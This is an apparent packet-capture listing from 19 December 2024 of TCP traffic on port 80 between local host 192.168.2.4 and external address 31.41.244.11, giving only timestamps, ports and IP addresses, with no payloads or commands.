Dec 19, 2024 14:10:29.236615896 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.236819029 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.237509012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.237572908 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.237637997 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.237699032 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.238563061 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.238620043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.238656044 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.239615917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.239679098 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.239697933 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.239749908 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.240565062 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.240623951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.240694046 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.240751028 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.241628885 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.241691113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.241761923 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.241816998 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.242609024 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.242670059 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.242722988 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.242925882 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.243627071 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.243688107 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.243756056 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.243814945 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.244648933 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.244714022 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.244764090 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.244824886 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.245697021 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.245757103 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.245825052 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.245877028 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.246676922 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.246887922 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.246922970 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.246956110 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.247714996 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.247777939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.247828007 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.247975111 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.248723984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.248788118 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.248817921 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.249172926 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.249764919 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.249861002 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.249924898 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.250844955 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.250906944 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.250962973 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.251018047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.251810074 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.251883030 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.251903057 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.251961946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.252773046 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.252830982 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.252923012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.252975941 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.253813982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.253871918 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.253993988 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.254048109 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.254937887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.255006075 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.469856024 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.469868898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.469881058 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.469933033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.470006943 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.585027933 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.585104942 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.704896927 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.704910040 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.704921007 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.704932928 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.704946995 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.704957962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.704969883 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.704972029 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.704981089 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.704992056 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.705008030 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.705008030 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.705046892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.705046892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.705081940 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.705096006 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.705106974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.705120087 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.705132008 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.705143929 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.705144882 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.705179930 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.705179930 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.705192089 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.705204964 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.705209017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.705241919 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.705254078 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.705255032 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.705255032 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.705296993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.706165075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.706177950 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.706252098 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.706290007 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.706301928 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.706315041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.706317902 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.706329107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.706336021 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.706347942 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.706346989 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.706361055 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.706367016 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.706372023 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.706384897 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.706387043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.706417084 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.706445932 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.707035065 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.707047939 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.707107067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.707130909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.707134008 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.707149029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.707194090 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.707638025 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.707657099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.707664013 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.707674980 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.707686901 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.707698107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.707703114 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.707710028 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.707721949 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.707735062 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.707742929 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.707756996 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.707757950 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.707770109 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.707797050 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.707825899 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.708328009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.708340883 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.708350897 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.708369017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.708380938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.708389997 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.708393097 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.708410978 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.708417892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.708429098 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.708431959 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.708442926 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.708461046 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.708463907 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.708467007 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.708472967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.708473921 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.708489895 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.708525896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.709057093 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.709141970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.709152937 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.709163904 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.709177017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.709188938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.709206104 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.709259987 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.709271908 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.709281921 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.709295034 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.709306002 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.710032940 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.710053921 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.710185051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.710196018 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.710206985 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.710217953 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.710228920 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.710241079 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.710252047 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.710264921 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.710275888 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.710287094 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.710331917 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.710369110 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.711124897 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.711260080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.711271048 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.711281061 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.711344957 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.711344957 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.711397886 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.711409092 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.711417913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.711430073 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.711440086 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.711452007 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.711458921 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.711463928 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.711477041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.711482048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.711488962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.711498976 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.711545944 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.712294102 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.712306023 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.712316036 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.712326050 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.712337017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.712347984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.712377071 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.712395906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.712439060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.712450981 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.712495089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.712537050 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.713067055 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.713079929 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.713089943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.713103056 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.713114977 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.713125944 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.713129044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.713138103 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.713150024 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.713161945 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.713162899 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.713180065 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.713191986 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.713202953 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.713218927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.713218927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.713218927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.713232994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.713340998 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.713341951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.713979006 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.713990927 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.714000940 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.714013100 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.714024067 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.714037895 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.714039087 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.714040041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.714052916 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.714057922 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.714059114 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.714070082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.714076042 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.714081049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.714091063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.714112043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.714129925 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.714793921 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.714869022 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.714881897 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.714894056 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.714922905 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.714941025 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.714941025 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.714956045 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.714963913 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.714971066 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.715003014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.715004921 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.715015888 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.715023041 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.715027094 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.715045929 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.715058088 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.715059996 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.715070009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.715080976 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.715090036 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.715118885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.715138912 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.715981007 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.716002941 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.716012955 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.716025114 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.716034889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.716047049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.716056108 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.716056108 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.716064930 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.716077089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.716078043 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.716089010 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.716100931 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.716106892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.716110945 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.716124058 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.716125011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.716149092 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.716212988 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.716943026 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.716984034 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.716995001 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717006922 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717017889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717036009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717041969 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.717041969 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717048883 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717053890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717063904 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.717077971 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.717092037 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.717719078 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717731953 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717742920 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717761993 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717775106 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717789888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.717828989 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.717828989 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.717839956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717899084 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.717924118 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717935085 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717945099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717962027 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717972040 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.717972994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717983961 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.717988968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.718007088 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.718029022 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.718775988 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.718835115 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.719000101 CET	80	49800	31.41.244.11	192.168.2.4
